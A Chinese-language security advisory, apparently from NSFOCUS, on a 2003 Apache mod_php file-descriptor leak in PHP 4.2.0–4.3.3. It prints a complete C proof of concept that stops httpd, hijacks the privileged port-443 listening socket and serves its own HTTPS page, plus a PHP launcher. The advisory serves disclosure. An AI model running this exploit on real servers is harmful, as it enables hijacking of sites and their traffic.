安全研究

安全漏洞
Apache mod_php模块文件描述符本地泄露漏洞

发布日期:2003-12-26
更新日期:2003-12-30

受影响系统:
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
描述:
BUGTRAQ  ID: 9302

Apache是一款流行的WEB服务程序。

Apache mod_php存在一个安全问题,本地攻击者可以利用这个漏洞访问权限高的文件描述符,这可导致窃取和修改敏感信息。

当使用mod_php时,许多文件描述符泄露给PHP脚本进程,如果脚本页面通过passthru()、exec()或system()调用外部程序,描述符就会写给这些程序。

其中之一的描述符是监听描述符,监听443端口,也就是https,端口443是特权端口,一般由ROOT进程绑定。这个描述符由apache打开,而并不需要是否使用https。

引起此漏洞主要是没有使用CLOEXEC标记的fcntl调用来防止特权文件描述符的泄露。利用这个问题,可能通过这些描述符窃取和修改Apache服务器端的敏感信息。

<*来源:Steve Grubb (linux_4ever@yahoo.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107247844327956&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Steve Grubb (linux_4ever@yahoo.com)提供了如下测试方法:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>

/*
* The basic actions are like this:
*      1) Become session leader
*      2) Get rid of the parent (apache)
*      3) Start handling requests
*/

#define LISTEN_DESCRIPTOR 4
#define CERTF "/var/www/html/foo-cert.pem"
#define KEYF  "/var/www/html/foo-cert.pem"

static SSL_CTX    *ctx;
static SSL        *ssl;
static X509       *client_cert;
static SSL_METHOD *meth;

static void server_loop(int descr);
static void ssl_init(void);

int main(int argc, char *argv[])
{
    /* Need to fork so apache doesn't kill us */
    if (fork() == 0) {
        /* Become session leader */
        setsid();
        sleep(2);

        /* just in case one was a controlling tty */
        close(0); close(1); close(2);
        ssl_init();
        server_loop(LISTEN_DESCRIPTOR);
    }
    else
    {
        sleep(1);
        system("/usr/sbin/httpd -k stop");
        sleep(1);
    }
    return 0;
}

static void server_loop(int descr)
{
    struct timeval   tv;
    fd_set read_mask ;

    FD_ZERO(&read_mask);
    FD_SET(descr, &read_mask);
    for (;;) {
        struct sockaddr_in remote;
        socklen_t len = sizeof(remote);
        int fd;

        if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1)
            continue;
        fd = accept(descr, &remote, &len);
        if (fd >=0) {
            char obuf[1024];
            if ((ssl = SSL_new (ctx)) != NULL) {
                SSL_set_fd (ssl, fd);
                SSL_set_accept_state(ssl);
                if ((SSL_accept (ssl)) == -1)
                        exit(1);

                strcpy(obuf, "HTTP/1.0 200 OK\n");
                strcat(obuf, "Content-Length: 40\n");
                strcat(obuf, "Content-Type: text/html\n\n");
                strcat(obuf, "<html><body>You're owned!</body></html>");
                SSL_write (ssl, obuf, strlen(obuf));
                SSL_set_shutdown(ssl,
                        SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                SSL_free (ssl);
                ERR_remove_state(0);
            }
            close(fd);
        }
    }
    SSL_CTX_free (ctx);  /* Never gets called */
}

static void ssl_init(void)
{
        SSL_load_error_strings();
        SSLeay_add_ssl_algorithms();
        meth = SSLv23_server_method();
        ctx = SSL_CTX_new (meth);
        if (!ctx)
                exit(1);
        if (SSL_CTX_use_certificate_file(ctx, CERTF,
                        SSL_FILETYPE_PEM) <= 0)
                exit(1);
        if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
                        SSL_FILETYPE_PEM) <= 0)
                exit(1);
        if (!SSL_CTX_check_private_key(ctx))
                exit(1);
}

install.php.....

<html><head>
<title>leak-sploit for PHP 4.3</title>
</head>
<body>
    <?php
        print('Installing exploit.<br>');
        passthru("/var/www/html/leak-sploit");
    ?>
</body></html>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3686
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障